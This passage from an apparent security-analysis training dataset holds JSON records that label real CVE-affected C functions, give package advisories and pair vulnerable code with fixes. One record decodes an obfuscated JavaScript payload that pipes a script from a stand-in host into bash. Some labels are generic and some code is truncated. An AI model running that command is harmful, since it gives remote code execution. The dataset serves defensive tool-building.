&dummy32->regs.psw.mask) {\n\t\t\t/* Fake a 31 bit psw mask. */\n\t\t\ttmp = (__u32)(task_pt_regs(child)->psw.mask >> 32);\n\t\t\ttmp = PSW32_MASK_MERGE(psw32_user_bits, tmp);\n\t\t} else if (addr == (addr_t) &dummy32->regs.psw.addr) {\n\t\t\t/* Fake a 31 bit psw address. */\n\t\t\ttmp = (__u32) task_pt_regs(child)->psw.addr |\n\t\t\t\tPSW32_ADDR_AMODE31;\n\t\t} else {\n\t\t\t/* gpr 0-15 */\n\t\t\ttmp = *(__u32 *)((addr_t) &task_pt_regs(child)->psw +\n\t\t\t\t\t addr*2 + 4);\n\t\t}\n\t} else if (addr < (addr_t) (&dummy32->regs.orig_gpr2)) {\n\t\t/*\n\t\t * access registers are stored in the thread structure\n\t\t */\n\t\toffset = addr - (addr_t) &dummy32->regs.acrs;\n\t\ttmp = *(__u32*)((addr_t) &child->thread.acrs + offset);\n\n\t} else if (addr == (addr_t) (&dummy32->regs.orig_gpr2)) {\n\t\t/*\n\t\t * orig_gpr2 is stored on the kernel stack\n\t\t */\n\t\ttmp = *(__u32*)((addr_t) &task_pt_regs(child)->orig_gpr2 + 4);\n\n\t} else if (addr < (addr_t) (&dummy32->regs.fp_regs + 1)) {\n\t\t/*\n\t\t * floating point regs. are stored in the thread structure \n\t\t */\n\t offset = addr - (addr_t) &dummy32->regs.fp_regs;\n\t\ttmp = *(__u32 *)((addr_t) &child->thread.fp_regs + offset);\n\n\t} else if (addr < (addr_t) (&dummy32->regs.per_info + 1)) {\n\t\t/*\n\t\t * per_info is found in the thread structure\n\t\t */\n\t\toffset = addr - (addr_t) &dummy32->regs.per_info;\n\t\t/* This is magic. See per_struct and per_struct32. */\n\t\tif ((offset >= (addr_t) &dummy_per32->control_regs &&\n\t\t offset < (addr_t) (&dummy_per32->control_regs + 1)) ||\n\t\t (offset >= (addr_t) &dummy_per32->starting_addr &&\n\t\t offset <= (addr_t) &dummy_per32->ending_addr) ||\n\t\t offset == (addr_t) &dummy_per32->lowcore.words.address)\n\t\t\toffset = offset*2 + 4;\n\t\telse\n\t\t\toffset = offset*2;\n\t\ttmp = *(__u32 *)((addr_t) &child->thread.per_info + offset);\n\n\t} else\n\t\ttmp = 0;\n\n\treturn tmp;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-755", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "AcpiNsTerminate (\n void)\n {\n ACPI_STATUS Status;\n \n \n ACPI_FUNCTION_TRACE (NsTerminate);\n \n \n#ifdef ACPI_EXEC_APP\n {\n ACPI_OPERAND_OBJECT *Prev;\n ACPI_OPERAND_OBJECT *Next;\n /* Delete any module-level code blocks */\n \n Next = AcpiGbl_ModuleCodeList;\n while (Next)\n {\n Prev = Next;\n Next = Next->Method.Mutex;\n Prev->Method.Mutex = NULL; /* Clear the Mutex (cheated) field */\n AcpiUtRemoveReference (Prev);\n }\n }\n#endif\n \n /*\n * Free the entire namespace -- all nodes and all objects\n * attached to the nodes\n */\n AcpiNsDeleteNamespaceSubtree (AcpiGbl_RootNode);\n\n /* Delete any objects attached to the root node */\n\n Status = AcpiUtAcquireMutex (ACPI_MTX_NAMESPACE);\n if (ACPI_FAILURE (Status))\n {\n return_VOID;\n }\n\n AcpiNsDeleteNode (AcpiGbl_RootNode);\n (void) AcpiUtReleaseMutex (ACPI_MTX_NAMESPACE);\n\n ACPI_DEBUG_PRINT ((ACPI_DB_INFO, \"Namespace freed\\n\"));\n return_VOID;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-755\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-11472\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 10,\n 12,\n 13,\n 14,\n 15,\n 16,\n 17,\n 18,\n 19,\n 20,\n 21,\n 22,\n 23,\n 25\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"AcpiNsTerminate\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 5\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"ACPI_STATUS\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"Status\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \"ACPI_FUNCTION_TRACE\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \"NsTerminate\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 37\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 38\n },\n {\n \"token\": \"#ifdef\",\n \"ast_node\": \"#ifdef\",\n \"line\": 10,\n \"col\": 0\n },\n {\n \"token\": \"ACPI_EXEC_APP\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"ACPI_OPERAND_OBJECT\",\n \"ast_node\": \"type_identifier\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 12,\n \"col\": 32\n },\n {\n \"token\": \"Prev\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 37\n },\n {\n \"token\": \"ACPI_OPERAND_OBJECT\",\n \"ast_node\": \"type_identifier\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 13,\n \"col\": 32\n },\n {\n \"token\": \"Next\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 37\n },\n {\n \"token\": \"/* Delete any module-level code blocks */\",\n \"ast_node\": \"comment\",\n \"line\": 14,\n \"col\": 8\n },\n {\n \"token\": \"Next\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 16,\n \"col\": 13\n },\n {\n \"token\": \"AcpiGbl_ModuleCodeList\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 16,\n \"col\": 37\n },\n {\n \"token\": \"while\",\n \"ast_node\": \"while\",\n \"line\": 17,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 17,\n \"col\": 14\n },\n {\n \"token\": \"Next\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 17,\n \"col\": 19\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 18,\n \"col\": 8\n },\n {\n \"token\": \"Prev\",\n \"ast_node\": \"identifier\",\n \"line\": 19,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 19,\n \"col\": 17\n },\n {\n \"token\": \"Next\",\n \"ast_node\": \"identifier\",\n \"line\": 19,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 19,\n \"col\": 23\n },\n {\n \"token\": \"Next\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 20,\n \"col\": 17\n },\n {\n \"token\": \"Next\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 19\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 20,\n \"col\": 23\n },\n {\n \"token\": \"Method\",\n \"ast_node\": \"field_identifier\",\n \"line\": 20,\n \"col\": 25\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 20,\n \"col\": 31\n },\n {\n \"token\": \"Mutex\",\n \"ast_node\": \"field_identifier\",\n \"line\": 20,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 20,\n \"col\": 37\n },\n {\n \"token\": \"Prev\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 12\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 21,\n \"col\": 16\n },\n {\n \"token\": \"Method\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 18\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 21,\n \"col\": 24\n },\n {\n \"token\": \"Mutex\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 25\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 21,\n \"col\": 31\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 21,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 21,\n \"col\": 37\n },\n {\n \"token\": \"/* Clear the Mutex (cheated) field */\",\n \"ast_node\": \"comment\",\n \"line\": 21,\n \"col\": 39\n },\n {\n \"token\": \"AcpiUtRemoveReference\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 34\n },\n {\n \"token\": \"Prev\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 39\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 22,\n \"col\": 40\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/gobwas/ws\nInstalled version: <1.5.0\nSummary: Unbounded allocation from peer-declared frame length in github.com/gobwas/ws", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-6940\",\n \"cve\": null,\n \"aliases\": [\n \"GHSA-4xr6-hc3h-f6jq\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/gobwas/ws\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.5.0\",\n \"fixed_version\": \"1.5.0\",\n \"finding\": \"Unbounded allocation from peer-declared frame length in github.com/gobwas/ws\",\n \"remediation\": \"Upgrade github.com/gobwas/ws to 1.5.0 or later.\"\n}"} {"task": "obfuscation_handling", "language": "javascript", "cwe": "CWE-94", "source": "generated obfuscated payloads (real encodings)", "instruction": "Analyze the following possibly-obfuscated JavaScript code. Identify obfuscation techniques, decode statically-recoverable payloads, state the recovered behavior, and recommend how to handle it. Output JSON.", "input": "eval(atob(\"cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2N1cmwgaHR0cDovL2V2aWwuc2h8YmFzaCcp\"));\n", "output": "{\n \"obfuscated\": true,\n \"language\": \"javascript\",\n \"techniques\": [\n \"base64-encoded string literal\",\n \"eval(atob(...)) executes the decoded code\"\n ],\n \"statically_recoverable\": true,\n \"deobfuscation_steps\": [\n \"identify the encoded literal\",\n \"decode it (base64/hex/char-codes) offline, without executing\",\n \"re-run static analysis on the recovered source\"\n ],\n \"recovered_source\": \"require('child_process').exec('curl http://evil.sh|bash')\",\n \"recovered_behavior\": \"downloads and executes a remote shell script (remote code execution)\",\n \"verdict\": \"malicious\",\n \"cwe\": \"CWE-94\",\n \"severity\": \"critical\",\n \"recommended_handling\": \"deobfuscate-then-analyze; block and quarantine; never execute outside a sandbox\",\n \"policy_note\": \"Obfuscation is itself a risk signal: never classify obfuscated input as clean. Decode what is statically recoverable and analyze the recovered code; if it cannot be recovered statically, escalate to dynamic/sandbox analysis.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "int qcow2_snapshot_load_tmp(BlockDriverState *bs,\n const char *snapshot_id,\n const char *name,\n Error **errp)\n{\n int i, snapshot_index;\n BDRVQcowState *s = bs->opaque;\n QCowSnapshot *sn;\n uint64_t *new_l1_table;\n int new_l1_bytes;\n int ret;\n\n assert(bs->read_only);\n\n /* Search the snapshot */\n snapshot_index = find_snapshot_by_id_and_name(bs, snapshot_id, name);\n if (snapshot_index < 0) {\n error_setg(errp,\n \"Can't find snapshot\");\n return -ENOENT;\n }\n sn = &s->snapshots[snapshot_index];\n \n /* Allocate and read in the snapshot's L1 table */\n new_l1_bytes = sn->l1_size * sizeof(uint64_t);\n new_l1_table = g_malloc0(align_offset(new_l1_bytes, 512));\n return ret;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2014-0143\",\n \"fixed_code\": \"int qcow2_snapshot_load_tmp(BlockDriverState *bs,\\n const char *snapshot_id,\\n const char *name,\\n Error **errp)\\n{\\n int i, snapshot_index;\\n BDRVQcowState *s = bs->opaque;\\n QCowSnapshot *sn;\\n uint64_t *new_l1_table;\\n int new_l1_bytes;\\n int ret;\\n\\n assert(bs->read_only);\\n\\n /* Search the snapshot */\\n snapshot_index = find_snapshot_by_id_and_name(bs, snapshot_id, name);\\n if (snapshot_index < 0) {\\n error_setg(errp,\\n \\\"Can't find snapshot\\\");\\n return -ENOENT;\\n }\\n sn = &s->snapshots[snapshot_index];\\n \\n /* Allocate and read in the snapshot's L1 table */\\n if (sn->l1_size > QCOW_MAX_L1_SIZE) {\\n error_setg(errp, \\\"Snapshot L1 table too large\\\");\\n return -EFBIG;\\n }\\n new_l1_bytes = sn->l1_size * sizeof(uint64_t);\\n new_l1_table = g_malloc0(align_offset(new_l1_bytes, 512));\\n return ret;\\n }\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-20). Produce the patched version and explain the fix. Output JSON.", "input": "static int nr_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t struct msghdr *msg, size_t size, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name;\n\tsize_t copied;\n\tstruct sk_buff *skb;\n\tint er;\n\n\t/*\n\t * This works for seqpacket too. The receiver has ordered the queue for\n\t * us! We do one quick check first though\n\t */\n\n\tlock_sock(sk);\n\tif (sk->sk_state != TCP_ESTABLISHED) {\n\t\trelease_sock(sk);\n\t\treturn -ENOTCONN;\n\t}\n\n\t/* Now we can treat all alike */\n\tif ((skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &er)) == NULL) {\n\t\trelease_sock(sk);\n\t\treturn er;\n\t}\n\n\tskb_reset_transport_header(skb);\n\tcopied = skb->len;\n\n\tif (copied > size) {\n\t\tcopied = size;\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\t}\n\n\ter = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);\n\tif (er < 0) {\n\t\tskb_free_datagram(sk, skb);\n\t\trelease_sock(sk);\n\t\treturn er;\n\t}\n\n\tif (sax != NULL) {\n\t\tmemset(sax, 0, sizeof(*sax));\n \t\tsax->sax25_family = AF_NETROM;\n \t\tskb_copy_from_linear_data_offset(skb, 7, sax->sax25_call.ax25_call,\n \t\t\t AX25_ADDR_LEN);\n \t}\n \n\tmsg->msg_namelen = sizeof(*sax);\n \tskb_free_datagram(sk, skb);\n \n \trelease_sock(sk);\n\treturn copied;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2013-7271\",\n \"fixed_code\": \"static int nr_recvmsg(struct kiocb *iocb, struct socket *sock,\\n\\t\\t struct msghdr *msg, size_t size, int flags)\\n{\\n\\tstruct sock *sk = sock->sk;\\n\\tstruct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name;\\n\\tsize_t copied;\\n\\tstruct sk_buff *skb;\\n\\tint er;\\n\\n\\t/*\\n\\t * This works for seqpacket too. The receiver has ordered the queue for\\n\\t * us! We do one quick check first though\\n\\t */\\n\\n\\tlock_sock(sk);\\n\\tif (sk->sk_state != TCP_ESTABLISHED) {\\n\\t\\trelease_sock(sk);\\n\\t\\treturn -ENOTCONN;\\n\\t}\\n\\n\\t/* Now we can treat all alike */\\n\\tif ((skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &er)) == NULL) {\\n\\t\\trelease_sock(sk);\\n\\t\\treturn er;\\n\\t}\\n\\n\\tskb_reset_transport_header(skb);\\n\\tcopied = skb->len;\\n\\n\\tif (copied > size) {\\n\\t\\tcopied = size;\\n\\t\\tmsg->msg_flags |= MSG_TRUNC;\\n\\t}\\n\\n\\ter = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);\\n\\tif (er < 0) {\\n\\t\\tskb_free_datagram(sk, skb);\\n\\t\\trelease_sock(sk);\\n\\t\\treturn er;\\n\\t}\\n\\n\\tif (sax != NULL) {\\n\\t\\tmemset(sax, 0, sizeof(*sax));\\n \\t\\tsax->sax25_family = AF_NETROM;\\n \\t\\tskb_copy_from_linear_data_offset(skb, 7, sax->sax25_call.ax25_call,\\n \\t\\t\\t AX25_ADDR_LEN);\\n\\t\\tmsg->msg_namelen = sizeof(*sax);\\n \\t}\\n \\n \\tskb_free_datagram(sk, skb);\\n \\n \\trelease_sock(sk);\\n\\treturn copied;\\n}\\n\",\n \"change_summary\": \"net: rework recvmsg handler msg_name and msg_namelen logic\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/nomad\nInstalled version: 0.9.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/nomad\",\n \"installed_version\": \"0.9.2\",\n \"note\": \"github.com/hashicorp/nomad 0.9.2 is at or above the fixed version for GO-2023-1928; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/mattermost/mattermost-server\nInstalled version: 10.5.2+incompatible\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/mattermost/mattermost-server\",\n \"installed_version\": \"10.5.2+incompatible\",\n \"note\": \"github.com/mattermost/mattermost-server 10.5.2+incompatible is at or above the fixed version for GO-2025-3611; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-290", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Tmds.DBus\nInstalled version: <0.92.0\nSummary: Tmds.DBus: malicious D-Bus peers can spoof signals, exhaust file descriptor resources, and cause denial of service", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-xrw6-gwf8-vvr9\",\n \"cve\": \"CVE-2026-39959\",\n \"aliases\": [\n \"CVE-2026-39959\"\n ],\n \"cwe\": \"CWE-290\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Tmds.DBus\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.92.0\",\n \"fixed_version\": \"0.92.0\",\n \"finding\": \"Tmds.DBus: malicious D-Bus peers can spoof signals, exhaust file descriptor resources, and cause denial of service\",\n \"remediation\": \"Upgrade Tmds.DBus to 0.92.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void nfs4_open_confirm_release(void *calldata)\n{\n\tstruct nfs4_opendata *data = calldata;\n\tstruct nfs4_state *state = NULL;\n\n\t/* If this request hasn't been cancelled, do nothing */\n\tif (data->cancelled == 0)\n\t\tgoto out_free;\n\t/* In case of error, no cleanup! */\n\tif (!data->rpc_done)\n \t\tgoto out_free;\n \tstate = nfs4_opendata_to_nfs4_state(data);\n \tif (!IS_ERR(state))\n\t\tnfs4_close_state(&data->path, state, data->o_arg.open_flags);\n out_free:\n \tnfs4_opendata_put(data);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-4324\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 14\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 5\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 13,\n \"col\": 6\n },\n {\n \"token\": \"IS_ERR\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 13\n },\n {\n \"token\": \"state\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 19\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 20\n },\n {\n \"token\": \"nfs4_close_state\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 18\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 14,\n \"col\": 19\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 24\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 14,\n \"col\": 30\n },\n {\n \"token\": \"state\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 14,\n \"col\": 37\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 39\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 43\n },\n {\n \"token\": \"o_arg\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 45\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 14,\n \"col\": 50\n },\n {\n \"token\": \"open_flags\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 51\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 61\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 62\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int read_exceptions(struct pstore *ps,\n\t\t\t int (*callback)(void *callback_context, chunk_t old,\n\t\t\t\t\t chunk_t new),\n\t\t\t void *callback_context)\n{\n\tint r, full = 1;\n\n\t/*\n\t * Keeping reading chunks and inserting exceptions until\n\t * we find a partially full area.\n\t */\n\tfor (ps->current_area = 0; full; ps->current_area++) {\n\t\tr = area_io(ps, READ);\n\t\tif (r)\n\t\t\treturn r;\n\n\t\tr = insert_exceptions(ps, callback, callback_context, &full);\n\t\tif (r)\n\t\t\treturn r;\n\t}\n\n\tps->current_area--;\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-770", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: System.Security.Cryptography.Xml\nInstalled version: 10.0.0\nSummary: Microsoft Security Advisory CVE-2026-50648 – .NET Denial of Service Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-23rf-6693-g89p\",\n \"cve\": \"CVE-2026-50648\",\n \"aliases\": [\n \"BIT-dotnet-2026-50648\",\n \"BIT-dotnet-sdk-2026-50648\",\n \"CVE-2026-50648\"\n ],\n \"cwe\": \"CWE-770\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"System.Security.Cryptography.Xml\",\n \"severity\": \"high\",\n \"affected_versions\": \">=10.0.0, <10.0.10\",\n \"fixed_version\": \"10.0.10\",\n \"finding\": \"Microsoft Security Advisory CVE-2026-50648 – .NET Denial of Service Vulnerability\",\n \"remediation\": \"Upgrade System.Security.Cryptography.Xml to 10.0.10 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int ar6000_create_ap_interface(struct ar6_softc *ar, char *ap_ifname)\n{\n struct net_device *dev;\n struct ar_virtual_interface *arApDev;\n\n dev = alloc_etherdev(sizeof(struct ar_virtual_interface));\n if (dev == NULL) {\n AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\"ar6000_create_ap_interface: can't alloc etherdev\\n\"));\n return A_ERROR;\n } \n \n ether_setup(dev);\n init_netdev(dev, ap_ifname);\n \n if (register_netdev(dev)) {\n AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\"ar6000_create_ap_interface: register_netdev failed\\n\"));\n return A_ERROR;\n }\n\n arApDev = netdev_priv(dev);\n arApDev->arDev = ar;\n arApDev->arNetDev = dev;\n arApDev->arStaNetDev = ar->arNetDev;\n\n ar->arApDev = arApDev;\n arApNetDev = dev;\n\n /* Copy the MAC address */\n memcpy(dev->dev_addr, ar->arNetDev->dev_addr, AR6000_ETH_ADDR_LEN);\n\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-4112\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n 